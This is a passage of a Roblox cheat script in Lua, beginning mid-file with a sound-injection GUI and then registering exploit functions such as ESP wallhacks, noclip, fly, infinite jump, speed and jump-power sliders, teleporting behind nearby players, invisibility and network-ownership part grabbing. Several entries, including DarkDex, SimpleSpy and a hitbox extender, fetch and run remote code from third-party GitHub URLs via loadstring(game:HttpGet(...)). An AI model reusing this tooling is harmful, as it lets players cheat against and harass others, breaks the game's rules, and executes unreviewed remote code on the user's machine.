Swap.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
Swap.BorderColor3 = Color3.fromRGB(255, 0, 0)
Swap.BorderSizePixel = 0
Swap.Position = UDim2.new(0.904522598, 0, 0.33495146, 0)
Swap.Size = UDim2.new(0, 23, 0, 21)
Swap.Image = "rbxassetid://2500573769"
PlayBackSpeed.Name = "PlayBackSpeed"
PlayBackSpeed.Parent = Frame
PlayBackSpeed.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
PlayBackSpeed.BorderColor3 = Color3.fromRGB(255, 0, 0)
PlayBackSpeed.BorderSizePixel = 2
PlayBackSpeed.Position = UDim2.new(0.118090451, 0, 0.305825233, 0)
PlayBackSpeed.Size = UDim2.new(0, 307, 0, 33)
PlayBackSpeed.Visible = false
PlayBackSpeed.Font = Enum.Font.Arial
PlayBackSpeed.PlaceholderText = "Playback speed, Enter a number!"
PlayBackSpeed.Text = "1"
PlayBackSpeed.TextColor3 = Color3.fromRGB(255, 255, 255)
PlayBackSpeed.TextScaled = true
PlayBackSpeed.TextSize = 14.000
PlayBackSpeed.TextWrapped = true
Volume.Name = "Volume"
Volume.Parent = Frame
Volume.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
Volume.BorderColor3 = Color3.fromRGB(255, 0, 0)
Volume.BorderSizePixel = 2
Volume.Position = UDim2.new(0.118090451, 0, 0.305825233, 0)
Volume.Size = UDim2.new(0, 307, 0, 33)
Volume.Visible = false
Volume.Font = Enum.Font.Arial
Volume.PlaceholderText = "Volume! Enter a number."
Volume.Text = "0.5"
Volume.TextColor3 = Color3.fromRGB(255, 255, 255)
Volume.TextScaled = true
Volume.TextSize = 14.000
Volume.TextWrapped = true
Looped.Name = "Looped"
Looped.Parent = Frame
Looped.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
Looped.BorderColor3 = Color3.fromRGB(255, 0, 0)
Looped.BorderSizePixel = 2
Looped.Position = UDim2.new(0.118090451, 0, 0.305825233, 0)
Looped.Size = UDim2.new(0, 307, 0, 33)
Looped.Visible = false
Looped.Font = Enum.Font.Arial
Looped.PlaceholderText = "Is it looped?, Type: False or True"
Looped.Text = "False"
Looped.TextColor3 = Color3.fromRGB(255, 255, 255)
Looped.TextScaled = true
Looped.TextSize = 14.000
Looped.TextWrapped = true
Exit.Name = "Exit"
Exit.Parent = Frame
Exit.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
Exit.BorderColor3 = Color3.fromRGB(255, 0, 0)
Exit.BorderSizePixel = 2
Exit.Position = UDim2.new(0.921999991, 0, 0.0289999992, 0)
Exit.Size = UDim2.new(0, 25, 0, 23)
Exit.Image = "rbxassetid://14930908086"
Frame2.Name = "Frame2"
Frame2.Parent = SoundGui
Frame2.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
Frame2.BorderColor3 = Color3.fromRGB(0, 0, 0)
Frame2.BorderSizePixel = 0
Frame2.Position = UDim2.new(0.984443069, 0, 0.841666639, 0)
Frame2.Size = UDim2.new(0, 25, 0, 23)
Frame2.Visible = false
Open.Name = "Open"
Open.Parent = Frame2
Open.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
Open.BorderColor3 = Color3.fromRGB(255, 0, 0)
Open.BorderSizePixel = 2
Open.Position = UDim2.new(-0.0312646478, 0, -0.0113339629, 0)
Open.Size = UDim2.new(0, 25, 0, 23)
Open.Image = "rbxassetid://14930908086"
-- Scripts:
local function GSSVM_fake_script() -- AddSoundId.LocalScript
local script = Instance.new('LocalScript', AddSoundId)
local parent = script.Parent
parent.Activated:Connect(function()
local SoundId = parent.Parent:WaitForChild("SoundIds").Text
local Playbackspeed = parent.Parent:WaitForChild("PlayBackSpeed").Text
local Volume = parent.Parent:WaitForChild("Volume").Text
local looped = parent.Parent:WaitForChild("Looped").Text
if SoundId == "" then
parent.Text = "No Sound ID!"
wait(2)
parent.Text = "Add Sound!"
return
end
local id = "rbxassetid://" .. SoundId
local speed = tonumber(Playbackspeed) or 1
local existingSound = game.Workspace:FindFirstChild("c00lsound23sas")
if existingSound then
existingSound.SoundId = id
existingSound.PlaybackSpeed = speed
existingSound.Volume = Volume
if looped == "False" then
existingSound.Looped = false
elseif looped == "True" then
existingSound.Looped = true
else
existingSound.Looped = false
end
existingSound:Play()
else
local clonedSound = parent.Parent.c00lsound23sas:Clone()
clonedSound.Parent = game.Workspace
clonedSound.SoundId = id
clonedSound.PlaybackSpeed = speed
clonedSound.Volume = Volume
if looped == "False" then
clonedSound.Looped = false
elseif looped == "True" then
clonedSound.Looped = true
else
clonedSound.Looped = false
end
clonedSound.Looped = looped
clonedSound:Play()
end
parent.Text = "Injected Sound Succesfully!, Be sure to enter a correct ID if it doesnt work!"
parent.TextScaled = true
wait(3.5)
parent.TextScaled = false
parent.Text = "Add Sound!"
end)
end
coroutine.wrap(GSSVM_fake_script)()
local function MWUVEW_fake_script() -- Default.LocalScript
local script = Instance.new('LocalScript', Default)
local parent = script.Parent
local sound = parent.Parent.spoky
parent.Activated:Connect(function()
if sound.Playing == true then
sound.Playing = false
else
sound.Playing = true
end
end)
end
coroutine.wrap(MWUVEW_fake_script)()
local function BIKZQ_fake_script() -- Swap.LocalScript
local script = Instance.new('LocalScript', Swap)
local parent = script.Parent
local playback = parent.Parent.PlayBackSpeed
local Sound = parent.Parent.SoundIds
local volume = parent.Parent.Volume
local looped = parent.Parent.Looped
parent.Activated:Connect(function()
if Sound.Visible == true then
Sound.Visible = false
playback.Visible = true
volume.Visible = false
looped.Visible = false
elseif playback.Visible ==true then
playback.Visible = false
Sound.Visible = false
volume.Visible = true
looped.Visible = false
elseif volume.Visible == true then
Sound.Visible = false
playback.Visible = false
volume.Visible = false
looped.Visible = true
elseif looped.Visible == true then
Sound.Visible = true
playback.Visible = false
volume.Visible = false
looped.Visible = false
end
end)
end
coroutine.wrap(BIKZQ_fake_script)()
local function AXYPXC_fake_script() -- Exit.LocalScript
local script = Instance.new('LocalScript', Exit)
local parent = script.Parent
local main = parent.Parent
parent.Activated:Connect(function()
main.Parent.Frame2.Visible = true
main.Visible = false
end)
end
coroutine.wrap(AXYPXC_fake_script)()
local function WHTXC_fake_script() -- Open.LocalScript
local script = Instance.new('LocalScript', Open)
local parent = script.Parent
local main = parent.Parent.Parent.Frame
parent.Activated:Connect(function()
main.Visible = true
parent.Parent.Visible = false
end)
end
coroutine.wrap(WHTXC_fake_script)()
end, "General", "NOT FE")
FunctionManager:register("Bind Key", function()
if bindFrame then return end
local gui = Player:FindFirstChild("PlayerGui"):FindFirstChild(die)
if not gui then NotifyERROR("Gui not found!"); return end
screenGui = gui
bindFrame = Instance.new("Frame")
bindFrame.Name = generate_string(math_random(1, 10))
bindFrame.Size = UDim2.new(1,0,1,0)
bindFrame.BackgroundColor3 = Color3.new(0,0,0)
bindFrame.BackgroundTransparency = 0.5
bindFrame.ZIndex = 50
bindFrame.Parent = screenGui
local panel = Instance.new("Frame")
panel.Name = generate_string(math_random(1, 10))
panel.Size = UDim2.new(0, 300, 0, 400)
panel.Position = UDim2.new(0.5, -150, 0.5, -200)
panel.BackgroundColor3 = Color3.fromRGB(35,35,35)
panel.BorderSizePixel = 0
panel.ZIndex = 51
panel.Parent = bindFrame
local closeBtn = Instance.new("TextButton")
closeBtn.Size = UDim2.new(0, 60, 0, 24)
closeBtn.Position = UDim2.new(1, -64, 0, 4)
closeBtn.Text = "Close"
closeBtn.Font = Enum.Font.SourceSansBold
closeBtn.TextSize = 14
closeBtn.BackgroundColor3 = Color3.fromRGB(150,50,50)
closeBtn.TextColor3 = Color3.new(1,1,1)
closeBtn.ZIndex = 52
closeBtn.Parent = panel
closeBtn.MouseButton1Click:Connect(function()
bindFrame:Destroy()
bindFrame = nil
if bindConn then bindConn:Disconnect(); bindConn = nil end
end)
local title = Instance.new("TextLabel")
title.Size = UDim2.new(1, -8, 0, 24)
title.Position = UDim2.new(0, 4, 0, 4)
title.BackgroundTransparency = 1
title.Font = Enum.Font.SourceSansBold
title.TextSize = 18
title.TextColor3 = Color3.new(1,1,1)
title.Text = "Bind Key to Function"
title.ZIndex = 52
title.Parent = panel
local list = Instance.new("ScrollingFrame")
list.Size = UDim2.new(1, -8, 1, -40)
list.Position = UDim2.new(0, 4, 0, 32)
list.CanvasSize = UDim2.new(0,0,0,0)
list.ScrollBarThickness = 6
list.ZIndex = 51
list.Parent = panel
local uiList = Instance.new("UIListLayout")
uiList.Padding = UDim.new(0,4)
uiList.SortOrder = Enum.SortOrder.LayoutOrder
uiList.Parent = list
local function refreshList()
for _, child in ipairs(list:GetChildren()) do
if child:IsA("TextButton") or child:IsA("TextLabel") then
child:Destroy()
end
end
for _, cat in ipairs(FunctionManager.Categories) do
local hdr = Instance.new("TextLabel")
hdr.Size = UDim2.new(1,0,0,24)
hdr.BackgroundTransparency = 1
hdr.Font = Enum.Font.SourceSansBold
hdr.TextSize = 16
hdr.TextColor3 = Color3.new(1,1,0)
hdr.Text = "["..cat.."]"
hdr.ZIndex = 51
hdr.Parent = list
for name, cb in pairs(FunctionManager:getFunctionsInCategory(cat)) do
local btn = Instance.new("TextButton")
btn.Size = UDim2.new(1,0,0,24)
btn.Font = Enum.Font.SourceSans
btn.TextSize = 14
btn.BackgroundColor3 = Color3.fromRGB(50,50,50)
btn.TextColor3 = Color3.new(1,1,1)
btn.ZIndex = 51
local bound = {}
for key, fn in pairs(customBinds) do
if fn == cb then table.insert(bound, tostring(key)) end
end
local suffix = #bound>0 and " ("..table.concat(bound, ",")..")" or ""
btn.Text = name..suffix
btn.Parent = list
btn.MouseButton1Click:Connect(function()
waitingBindFunction = { cb = cb, btn = btn, name = name }
btn.Text = name.." → [Press a key]"
end)
end
end
list.CanvasSize = UDim2.new(0,0,0, uiList.AbsoluteContentSize.Y + 8)
end
bindConn = UserInputService.InputBegan:Connect(function(input, gameProcessed)
if gameProcessed or not waitingBindFunction then return end
if input.UserInputType == Enum.UserInputType.Keyboard then
customBinds[input.KeyCode] = waitingBindFunction.cb
waitingBindFunction.btn.Text = waitingBindFunction.name.." ("..tostring(input.KeyCode)..")"
waitingBindFunction = nil
end
end)
refreshList()
end, "Utility", "BUGGED")
UserInputService.InputBegan:Connect(function(input, gameProcessed)
if gameProcessed then return end
if input.UserInputType == Enum.UserInputType.Keyboard then
local fn = customBinds[input.KeyCode]
if fn and type(fn) == "function" then
pcall(fn)
end
end
end)
FunctionManager:register("JumpUp", function()
local char = Player.Character
local hrp = char and char:FindFirstChild("HumanoidRootPart")
if hrp then hrp.Velocity = Vector3.new(0, 100, 0) end
end, "Movement", "Leap into the air!")
FunctionManager:register("Sit", function()
local hum = Player.Character and Player.Character:FindFirstChildOfClass("Humanoid")
if hum then hum.Sit = true end
end, "Movement", "SIT DOWN")
FunctionManager:register("INF JUMP", function()
infJumpEnabled = not infJumpEnabled
if infJumpEnabled then
local debounce = false
infJumpConnection = UserInputService.JumpRequest:Connect(function()
if debounce then return end
debounce = true
local character = Player.Character
local humanoid = character and character:FindFirstChildWhichIsA("Humanoid")
if humanoid then
humanoid:ChangeState(Enum.HumanoidStateType.Jumping)
end
task.wait()
debounce = false
end)
else
if infJumpConnection then
infJumpConnection:Disconnect()
infJumpConnection = nil
end
end
end, "Movement", "Jump Forever!")
FunctionManager:register("WalkSpeed Slider", function()
if screenGui:FindFirstChild("WalkSpeedModal") then return end
local overlay = Instance.new("Frame")
overlay.Name = "WalkSpeedModal"
overlay.Size = UDim2.new(1,0,1,0)
overlay.Position = UDim2.new(0,0,0,0)
overlay.BackgroundColor3 = Color3.new(0,0,0)
overlay.BackgroundTransparency = 0.5
overlay.ZIndex = 50
overlay.Parent = screenGui
local panel = Instance.new("Frame")
panel.Name = "SliderPanel"
panel.Size = UDim2.new(0, 300, 0, 100)
panel.Position = UDim2.new(0.5, -150, 0.5, -50)
panel.BackgroundColor3 = Color3.fromRGB(40,40,40)
panel.BorderSizePixel = 0
panel.ZIndex = 51
panel.Parent = overlay
local closeBtn = Instance.new("TextButton")
closeBtn.Name = "Close"
closeBtn.Size = UDim2.new(0,60,0,24)
closeBtn.Position = UDim2.new(1,-64,0,4)
closeBtn.Font = Enum.Font.SourceSansBold
closeBtn.TextSize = 14
closeBtn.Text = "Close"
closeBtn.BackgroundColor3 = Color3.fromRGB(150,50,50)
closeBtn.TextColor3 = Color3.new(1,1,1)
closeBtn.ZIndex = 52
closeBtn.Parent = panel
closeBtn.MouseButton1Click:Connect(function()
overlay:Destroy()
end)
local label = Instance.new("TextLabel")
label.Name = "ValueLabel"
label.Size = UDim2.new(1,-8,0,24)
label.Position = UDim2.new(0,4,0,4)
label.BackgroundTransparency= 1
label.Font = Enum.Font.SourceSansBold
label.TextSize = 18
label.TextColor3 = Color3.new(1,1,1)
label.Text = "WalkSpeed: " .. tostring(Humanoid.WalkSpeed)
label.ZIndex = 52
label.Parent = panel
local track = Instance.new("Frame")
track.Name = "Track"
track.Size = UDim2.new(1,-16,0,20)
track.Position = UDim2.new(0,8,0,40)
track.BackgroundColor3 = Color3.fromRGB(60,60,60)
track.BorderSizePixel = 0
track.ZIndex = 51
track.Parent = panel
local fill = Instance.new("Frame")
fill.Name = "Fill"
fill.Size = UDim2.new(
math.clamp((Humanoid.WalkSpeed - 8)/(100-8),0,1), 0,
1, 0
)
fill.BackgroundColor3 = Color3.fromRGB(100,200,100)
fill.BorderSizePixel = 0
fill.ZIndex = 52
fill.Parent = track
local dragging = false
local minS, maxS = 8, 100
local function update(x)
local rel = math.clamp((x - track.AbsolutePosition.X)/track.AbsoluteSize.X, 0,1)
local v = math.floor(minS + (maxS-minS)*rel)
Humanoid.WalkSpeed = v
label.Text = "WalkSpeed: "..v
fill.Size = UDim2.new(rel,0,1,0)
end
track.InputBegan:Connect(function(i)
if i.UserInputType == Enum.UserInputType.MouseButton1 then
dragging = true
update(i.Position.X)
end
end)
track.InputEnded:Connect(function(i)
if i.UserInputType == Enum.UserInputType.MouseButton1 then
dragging = false
end
end)
UserInputService.InputChanged:Connect(function(i)
if dragging and i.UserInputType==Enum.UserInputType.MouseMovement then
update(i.Position.X)
end
end)
end, "Movement", "Control your walkspeed!")
FunctionManager:register("Server Hop", function()
local success, res = pcall(function()
return game:HttpGet(
"https://games.roblox.com/v1/games/" ..
PlaceId ..
"/servers/Public?sortOrder=Desc&limit=100&excludeFullGames=true"
)
end)
if not success then
return NotifyERROR("[Server Hop] HTTP request failed")
end
local body
local ok, err = pcall(function()
body = HttpService:JSONDecode(res)
end)
if not ok or type(body) ~= "table" or type(body.data) ~= "table" then
return NotifyERROR("[Server Hop] Invalid JSON response")
end
local servers = {}
for _, v in ipairs(body.data) do
if type(v) == "table"
and tonumber(v.playing)
and tonumber(v.maxPlayers)
and v.playing < v.maxPlayers
and v.id ~= JobId then
table.insert(servers, v.id)
end
end
if #servers == 0 then
return NotifyERROR("[Server Hop] No available servers found")
end
local choice = servers[math.random(1, #servers)]
TeleportService:TeleportToPlaceInstance(PlaceId, choice, Players.LocalPlayer)
end, "Utility","Changes Servers")
FunctionManager:register("TP Behind Closest", function()
if not HRP then
NotifyERROR("No HumanoidRootPart found.")
return
end
local closestPlayer
local shortestDistance = math.huge
for _, otherPlayer in ipairs(Players:GetPlayers()) do
if otherPlayer ~= Player and otherPlayer.Character then
local otherRoot = otherPlayer.Character:FindFirstChild("HumanoidRootPart")
if otherRoot then
local distance = (otherRoot.Position - HRP.Position).Magnitude
if distance < shortestDistance then
shortestDistance = distance
closestPlayer = otherPlayer
end
end
end
end
if closestPlayer and closestPlayer.Character then
local targetRoot = closestPlayer.Character:FindFirstChild("HumanoidRootPart")
if targetRoot then
local behindPosition = targetRoot.CFrame.Position - targetRoot.CFrame.LookVector * 3
local newCFrame = CFrame.new(behindPosition, targetRoot.Position)
HRP.CFrame = newCFrame
end
else
NotifyERROR("No nearby player found.")
end
end, "Movement", "Owai moi, shinderu. NANI?")
FunctionManager:register("Scare Closest Player", function()
if not HRP then
NotifyERROR("Could not find your HumanoidRootPart.")
return
end
local closestPlayer, closestDistance = nil, math.huge
for _, otherPlayer in ipairs(Players:GetPlayers()) do
if otherPlayer ~= Player and otherPlayer.Character then
local otherRoot = otherPlayer.Character:FindFirstChild("HumanoidRootPart")
if otherRoot then
local dist = (otherRoot.Position - HRP.Position).Magnitude
if dist < closestDistance then
closestDistance = dist
closestPlayer = otherPlayer
end
end
end
end
if closestPlayer and closestPlayer.Character then
local targetRoot = closestPlayer.Character:FindFirstChild("HumanoidRootPart")
if targetRoot then
local oldPos = HRP.CFrame
HRP.CFrame = targetRoot.CFrame + targetRoot.CFrame.lookVector * 2
HRP.CFrame = CFrame.new(HRP.Position, targetRoot.Position)
task.wait(0.5)
HRP.CFrame = oldPos
end
else
NotifyERROR("No target player nearby.")
end
end, "Fun", "FNAF reference")
FunctionManager:register("ESP Toggle", function()
espOn = not espOn
for _, plr in ipairs(Players:GetPlayers()) do
if plr.Character and plr ~= Player then
local head = plr.Character:FindFirstChild("Head")
if head then
local bb = head:FindFirstChild("ESP") or Instance.new("BillboardGui", head)
bb.Name = "ESP"
bb.Size = UDim2.new(0,80,0,20)
bb.AlwaysOnTop = true
local lbl = bb:FindFirstChild("Name") or Instance.new("TextLabel", bb)
lbl.Name = "Name"
lbl.BackgroundTransparency = 1
lbl.Size = UDim2.new(1,0,1,0)
lbl.TextColor3 = Color3.new(1,0,0)
lbl.TextScaled = true
lbl.Text = plr.Name
bb.Enabled = espOn
end
end
end
Notify("ESP " .. (espOn and "Enabled" or "Disabled"), "SYSTEM", 3)
end, "Visual", "ur cooked i just got wallhacks")
FunctionManager:register("JumpPowerSlider", function()
if screenGui:FindFirstChild("JumpPowerModal") then return end
Humanoid.UseJumpPower = true
local overlay = Instance.new("Frame")
overlay.Name = "JumpPowerModal"
overlay.Size = UDim2.new(1,0,1,0)
overlay.Position = UDim2.new(0,0,0,0)
overlay.BackgroundColor3 = Color3.new(0,0,0)
overlay.BackgroundTransparency = 0.5
overlay.ZIndex = 50
overlay.Parent = screenGui
local panel = Instance.new("Frame")
panel.Name = "JumpPanel"
panel.Size = UDim2.new(0, 300, 0, 100)
panel.Position = UDim2.new(0.5, -150, 0.5, -50)
panel.BackgroundColor3 = Color3.fromRGB(40,40,40)
panel.BorderSizePixel = 0
panel.ZIndex = 51
panel.Parent = overlay
local closeBtn = Instance.new("TextButton")
closeBtn.Name = "Close"
closeBtn.Size = UDim2.new(0,60,0,24)
closeBtn.Position = UDim2.new(1,-64,0,4)
closeBtn.Font = Enum.Font.SourceSansBold
closeBtn.TextSize = 14
closeBtn.Text = "Close"
closeBtn.BackgroundColor3 = Color3.fromRGB(150,50,50)
closeBtn.TextColor3 = Color3.new(1,1,1)
closeBtn.ZIndex = 52
closeBtn.Parent = panel
closeBtn.MouseButton1Click:Connect(function()
overlay:Destroy()
end)
local label = Instance.new("TextLabel")
label.Name = "ValueLabel"
label.Size = UDim2.new(1,-8,0,24)
label.Position = UDim2.new(0,4,0,4)
label.BackgroundTransparency= 1
label.Font = Enum.Font.SourceSansBold
label.TextSize = 18
label.TextColor3 = Color3.new(1,1,1)
label.Text = "JumpPower: " .. tostring(Humanoid.JumpPower)
label.ZIndex = 52
label.Parent = panel
local track = Instance.new("Frame")
track.Name = "Track"
track.Size = UDim2.new(1,-16,0,20)
track.Position = UDim2.new(0,8,0,40)
track.BackgroundColor3 = Color3.fromRGB(60,60,60)
track.BorderSizePixel = 0
track.ZIndex = 51
track.Parent = panel
local fill = Instance.new("Frame")
fill.Name = "Fill"
fill.Size = UDim2.new(
math.clamp((Humanoid.JumpPower - 50)/(200-50),0,1), 0,
1, 0
)
fill.BackgroundColor3 = Color3.fromRGB(100,200,100)
fill.BorderSizePixel = 0
fill.ZIndex = 52
fill.Parent = track
local dragging = false
local minJ, maxJ = 50, 200
local function update(x)
local rel = math.clamp((x - track.AbsolutePosition.X)/track.AbsoluteSize.X, 0,1)
local v = math.floor(minJ + (maxJ-minJ)*rel)
Humanoid.JumpPower = v
label.Text = "JumpPower: "..v
fill.Size = UDim2.new(rel,0,1,0)
end
track.InputBegan:Connect(function(i)
if i.UserInputType == Enum.UserInputType.MouseButton1 then
dragging = true
update(i.Position.X)
end
end)
track.InputEnded:Connect(function(i)
if i.UserInputType == Enum.UserInputType.MouseButton1 then
dragging = false
end
end)
UserInputService.InputChanged:Connect(function(i)
if dragging and i.UserInputType==Enum.UserInputType.MouseMovement then
update(i.Position.X)
end
end)
end, "Movement", "Control your jumppower")
FunctionManager:register("Spin Bot", function()
spinOn = not spinOn
if spinOn then
if not HRP then return NotifyERROR("No HRP!") end
lockBP = Instance.new("BodyPosition")
lockBP.Name = "SpinLockBP"
lockBP.Position = HRP.Position
lockBP.MaxForce = Vector3.new(1e6, 1e6, 1e6)
lockBP.P = 1e5
lockBP.D = 0
lockBP.Parent = HRP
spinBAV = Instance.new("BodyAngularVelocity")
spinBAV.Name = "SpinBAV"
spinBAV.AngularVelocity = Vector3.new(0, 10000, 0)
spinBAV.MaxTorque = Vector3.new(1e6, 1e6, 1e6)
spinBAV.P = 1e5
spinBAV.Parent = HRP
NotifyERROR("Spin Bot On")
else
if spinBAV then
spinBAV:Destroy()
spinBAV = nil
end
if lockBP then
lockBP:Destroy()
lockBP = nil
end
NotifyERROR("Spin Bot Off")
end
end, "Visual", "Speeeeen")
FunctionManager:register("TP To Mouse", function()
if hit then
HRP.CFrame = CFrame.new(pos + Vector3.new(0, 3, 0))
warn("Teleported to mouse")
end
end, "Movement", "BUGGED")
FunctionManager:register("Save Position", function()
savedCFrame = HRP.CFrame
Notify("Position Saved", "SYSTEM", 3)
end, "Utility", "Checkpoint")
FunctionManager:register("Load Position", function()
if savedCFrame then
HRP.CFrame = savedCFrame
Notify("Position Loaded", "SYSTEM", 3)
else
NotifyERROR("No Position Saved")
end
end, "Utility", "Reload")
FunctionManager:register("No‑Clip", function()
noclipOn = not noclipOn
if noclipOn then
hoverHeight = HRP.Position.Y
while noclipOn == true do
task.wait(0.01)
for _, part in ipairs(Character:GetDescendants()) do
if part:IsA("BasePart") then
part.CanCollide = false
end
end
local pos = HRP.Position
HRP.CFrame = CFrame.new(pos.X, hoverHeight, pos.Z)
end
Notify("No‑Clip ON (locked at height)", "SYSTEM", 3)
else
for _, part in ipairs(Character:GetDescendants()) do
if part:IsA("BasePart") then
part.CanCollide = true
end
end
Notify("No‑Clip OFF", "SYSTEM", 3)
end
end, "Movement", "NOCLIP")
FunctionManager:register("DarkDex", function()
--Maybe works?
loadstring(game:HttpGet("https://raw.githubusercontent.com/Babyhamsta/RBLX_Scripts/main/Universal/BypassedDarkDexV3.lua", true))()
end, "General", "Take a peek under the hood")
FunctionManager:register("SimpleSpy", function()
--also maybe works?
loadstring(game:HttpGet("https://raw.githubusercontent.com/infyiff/backup/main/SimpleSpyV3/main.lua"))()
end, "Catch remotes")
FunctionManager:register("Orbit All Nearby Parts", function()
local radius = 20
local height = 3
local orbitSpeed = 2
local speaker = Players.LocalPlayer
local character = speaker.Character or speaker.CharacterAdded:Wait()
local root = character:FindFirstChild("HumanoidRootPart")
if not root then
NotifyERROR("No HumanoidRootPart found.")
return
end
local origin = root.Position
local orbitParts = {}
for _, part in ipairs(workspace:GetDescendants()) do
if part:IsA("BasePart") and not part.Anchored and not part:IsDescendantOf(workspace.Terrain) then
local isInCharacter = false
for _, player in ipairs(Players:GetPlayers()) do
local char = player.Character
if char and part:IsDescendantOf(char) then
isInCharacter = true
break
end
end
if not isInCharacter and (part.Position - origin).Magnitude <= radius then
if not CollectionService:HasTag(part, "OrbitPart") then
if part:CanSetNetworkOwnership() then
part:SetNetworkOwner(speaker)
else
warn("Cannot set network owner for part:", part.Name)
end
part.CanCollide = false
CollectionService:AddTag(part, "OrbitPart")
table.insert(orbitParts, part)
end
end
end
end
if #orbitParts == 0 then
warn("No parts found for orbit.")
return
end
local angleOffset = 2 * math.pi / #orbitParts
for i, part in ipairs(orbitParts) do
local angle = angleOffset * i
local startPos = root.Position + Vector3.new(
math.cos(angle) * radius,
height,
math.sin(angle) * radius
)
part.Position = startPos
local bodyGyro = Instance.new("BodyGyro")
bodyGyro.MaxTorque = Vector3.new(1e5, 1e5, 1e5)
bodyGyro.P = 1e4
bodyGyro.CFrame = CFrame.new(part.Position, root.Position)
bodyGyro.Parent = part
local bodyVel = Instance.new("BodyVelocity")
bodyVel.MaxForce = Vector3.new(1e5, 1e5, 1e5)
bodyVel.P = 1e4
bodyVel.Parent = part
local conn
conn = RunService.Heartbeat:Connect(function(dt)
if not root or not root.Parent then
conn:Disconnect()
return
end
angle += orbitSpeed * dt
local orbitCenter = root.Position
local orbitPoint = orbitCenter + Vector3.new(
math.cos(angle) * radius,
height,
math.sin(angle) * radius
)
local tangent = Vector3.new(
-math.sin(angle),
0,
math.cos(angle)
).Unit * orbitSpeed * radius
bodyVel.Velocity = tangent
bodyGyro.CFrame = CFrame.new(part.Position, orbitCenter)
part.Position = orbitPoint
end)
end
warn("Orbiting", #orbitParts, "parts around you.")
end, "Fun", "You have to be near the parts for a while for it to work")
local function toggleInvisibility()
if invisRunning then return end
invisRunning = true
local player = Players.LocalPlayer
repeat task.wait(0.1) until player.Character
local originalChar = player.Character
originalChar.Archivable = true
local invisibleChar = originalChar:Clone()
invisibleChar.Name = ""
invisibleChar.Parent = Lighting
-- clone transparency
for _, part in ipairs(invisibleChar:GetDescendants()) do
if part:IsA("BasePart") then
part.Transparency = (part.Name == "HumanoidRootPart") and 1 or 0.5
end
end
-- we’ll need these in nested functions:
local isInvis = false
local voidConn, deathConn, steppedConn
-- Respawn helper (puts you back to originalChar)
local function Respawn()
invisRunning = false
if steppedConn then steppedConn:Disconnect() end
if deathConn then deathConn:Disconnect() end
player.Character = originalChar
originalChar.Parent = workspace
-- destroy the extra humanoid
local clonedHum = originalChar:FindFirstChildWhichIsA("Humanoid")
if clonedHum then clonedHum:Destroy() end
invisibleChar.Parent = nil
end
-- fix for falling through the void
local voidY = workspace.FallenPartsDestroyHeight
steppedConn = RunService.Stepped:Connect(function()
local hrp = player.Character and player.Character:FindFirstChild("HumanoidRootPart")
if not hrp then return end
local y = hrp.Position.Y
if (voidY < 0 and y <= voidY) or (voidY >= 0 and y >= voidY) then
Respawn()
end
end)
-- if cloned character dies
local clonedHum = invisibleChar:FindFirstChildWhichIsA("Humanoid")
deathConn = clonedHum.Died:Connect(Respawn)
-- now swap them
local camCF = workspace.CurrentCamera.CFrame
local hrpCF = originalChar.HumanoidRootPart.CFrame
originalChar:MoveTo(Vector3.new(0, math.pi*1e6, 0))
workspace.CurrentCamera.CameraType = Enum.CameraType.Scriptable
task.wait(0.2)
workspace.CurrentCamera.CameraType = Enum.CameraType.Custom
invisibleChar.Parent = workspace
invisibleChar.HumanoidRootPart.CFrame = hrpCF
player.Character = invisibleChar
-- re‑enable animations
for _, a in ipairs(player.Character:GetDescendants()) do
if a.Name == "Animate" and a:IsA("Model") then
a.Disabled = true; a.Disabled = false
end
end
workspace.CurrentCamera:remove()
wait(.1)
repeat wait() until player.Character ~= nil
workspace.CurrentCamera.CameraSubject = player.Character:FindFirstChildWhichIsA('Humanoid')
workspace.CurrentCamera.CameraType = "Custom"
player.CameraMinZoomDistance = 0.5
player.CameraMaxZoomDistance = 400
player.CameraMode = "Classic"
player.Character.Head.Anchored = false
player.Character.Animate.Enabled = false
player.Character.Animate.Enabled = true
Notify("You are now invisible!", "System", 3)
end
FunctionManager:register(
"Invisible",
toggleInvisibility,
"Fun",
"Make your character invisible until you respawn or die"
)
FunctionManager:register("Fly", function()
if not HRP then
warn("No HumanoidRootPart found; cannot fly.")
return
end
flyingEnabled = not flyingEnabled
if flyingEnabled then
flyBG = Instance.new("BodyGyro")
flyBG.P = 9e4
flyBG.MaxTorque = Vector3.new(9e4, 9e4, 9e4)
flyBG.CFrame = HRP.CFrame
flyBG.Parent = HRP
flyBV = Instance.new("BodyVelocity")
flyBV.MaxForce = Vector3.new(9e4, 9e4, 9e4)
flyBV.Velocity = Vector3.new(0, 0, 0)
flyBV.Parent = HRP
flyConn = RunService.Heartbeat:Connect(function()
local camCFrame = workspace.CurrentCamera.CFrame
local dir = Vector3.new()
if UserInputService:IsKeyDown(Enum.KeyCode.W) then
dir = dir + camCFrame.LookVector
end
if UserInputService:IsKeyDown(Enum.KeyCode.S) then
dir = dir - camCFrame.LookVector
end
if UserInputService:IsKeyDown(Enum.KeyCode.A) then
dir = dir - camCFrame.RightVector
end
if UserInputService:IsKeyDown(Enum.KeyCode.D) then
dir = dir + camCFrame.RightVector
end
if UserInputService:IsKeyDown(Enum.KeyCode.Space) then
dir = dir + Vector3.new(0, 1, 0)
end
if UserInputService:IsKeyDown(Enum.KeyCode.LeftControl) then
dir = dir - Vector3.new(0, 1, 0)
end
if dir.Magnitude > 0 then
dir = dir.Unit * 50
end
flyBV.Velocity = dir
flyBG.CFrame = CFrame.new(HRP.Position, HRP.Position + camCFrame.LookVector)
end)
else
if flyConn then flyConn:Disconnect() flyConn = nil end
if flyBG then flyBG:Destroy() flyBG = nil end
if flyBV then flyBV:Destroy() flyBV = nil end
end
end, "Movement", "Fly around!")
FunctionManager:register("HatHub", function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/inkdupe/hat-scripts/refs/heads/main/updatedhathub.lua"))()
end, "Troll", "Credits to original maker!")
FunctionManager:register("Hitbox Extender", function()
loadstring(game:HttpGet('https://raw.githubusercontent.com/AAPVdev/scripts/refs/heads/main/UI_LimbExtender.lua'))()
end, "Troll", "Extends hitboxes")
FunctionManager:register("Part Grab", function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/v0c0n1337/scripts/refs/heads/main/Unachored_parts_controller_v2.lua.txt"))()
end, "Troll", "Much better part grab")
